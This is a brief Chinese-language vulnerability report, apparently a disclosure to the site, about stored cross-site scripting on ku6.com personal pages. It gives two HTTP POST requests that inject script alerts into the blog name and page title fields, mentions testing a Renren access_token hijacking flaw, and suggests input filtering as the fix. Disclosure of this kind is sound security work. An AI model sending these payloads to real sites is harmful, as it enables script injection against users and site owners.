个人主页，存在XSS的地方挺多的。
PS：其实找这个是因为要测试人人网的access_token劫持漏洞。
详细说明：1、主页标题处存在
POST /user.htm?t=update HTTP/1.1
…………
Host: zone.ku6.com
Cookie: …………
 
format=json&uid=17958620&blogname=hi<script>alert(1)</script>
 
2、添加页面
POST /tab.htm?t=update HTTP/1.1
…………
Host: zone.ku6.com
Cookie: ……
 
id=41924336&title=b<script>alert(document.location.hash)</script>
漏洞证明：
 

 
修复方案：
 
过滤，好多地方都有
 
 
作者PiaCa